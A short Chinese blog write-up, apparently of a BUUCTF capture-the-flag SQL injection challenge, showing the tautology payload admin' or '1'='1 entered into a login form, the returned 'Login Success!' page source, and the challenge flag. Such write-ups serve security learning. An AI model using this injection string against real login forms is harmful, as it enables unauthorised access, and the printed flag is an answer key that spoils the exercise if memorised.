BUUCTF [极客大挑战 2019]EasySQL

最新推荐文章于 2023-09-30 23:21:57 发布

仲瑿

最新推荐文章于 2023-09-30 23:21:57 发布

阅读量272

点赞数 1

分类专栏： CTF 文章标签： CTF

本文链接：https://blog.csdn.net/m0_49025459/article/details/123998956

版权

CTF 专栏收录该内容

95 篇文章 10 订阅

订阅专栏

"这是一个关于SQL注入的测试案例，通过使用管理员'or'1'='1的永真表达式，成功实现了登录。页面显示登录成功，并给出了含有flag的详细信息：flag{8dca3045-7c66-47af-8ac4-9cd0a2652696}

摘要由CSDN通过智能技术生成

题目

这题啊很快奥，我就想用个永真表达式测试一次，结果一下子就出来了

admin' or '1'='1

这题的网页源码

<html>
<head>
	<meta charset="UTF-8">
	<title>check</title>
</head>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>

				<body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
					<br><br><br>
					<h1 style='font-family:verdana;color:red;text-align:center;'>Login Success!</h1><br><br><br>
					</br>
					<p style='font-family:arial;color:red;font-size:30px;text-align:center;'>flag： </p>
					</br>
					<p style='font-family:arial;color:#ffffff;font-size:30px;text-align:center;'>flag{8dca3045-7c66-47af-8ac4-9cd0a2652696}
</p>
				</body>
				
</html>